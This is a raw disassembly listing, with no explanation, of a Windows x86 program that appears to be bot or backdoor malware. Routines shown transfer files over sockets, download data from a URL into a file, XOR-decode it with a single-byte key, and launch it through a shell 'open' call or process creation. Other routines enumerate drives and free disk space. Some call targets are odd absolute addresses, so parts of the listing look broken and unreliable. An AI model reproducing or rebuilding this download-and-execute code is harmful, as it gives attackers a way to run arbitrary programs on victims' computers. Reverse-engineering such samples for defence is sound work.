		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437508
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374E4


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB00C
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2760000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 26F0000h
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CAFC4
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CAF8C
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+8], eax
		jnz	loc_416049
		mov	edi, [ebp-18h]


loc_4160E6:				; CODE XREF: ___:0041603Ej
		push	dword ptr [ebp-8]
		call	near ptr 26507ADh
		nop
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_4374B8
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: ___:00415FF6j
		add	esp, 14h


loc_416122:				; CODE XREF: ___:0041602Fj
		cmp	[ebp-50h], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB00C


loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_4374A0
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CB00C
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h


loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2660A7Ah
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0876h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43761C
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		nop
		call	near ptr 26507ADh
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_4375EC
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_4375CC


loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CAF70
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_4374A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CB00C
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		call	near ptr 26D0000h
		nop


loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_4375A0
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4CB00C


loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop


loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAE78
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0876h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4377E8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h


loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 26807BDh
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CAE80
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26E0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]


loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4377C0
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_437798


loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43DCB0
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43776C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		nop
		call	near ptr 26807BDh
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26507ADh
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_437744
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43770C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CAEE0
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4376F0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_4376AC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_43D128
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 2650A41h
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CAECC
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_437678
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43764C


loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4CAFA8
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D2BA8
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFD4
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43783C
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437838
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CAE64
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43788C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------


loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_437850
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h


loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
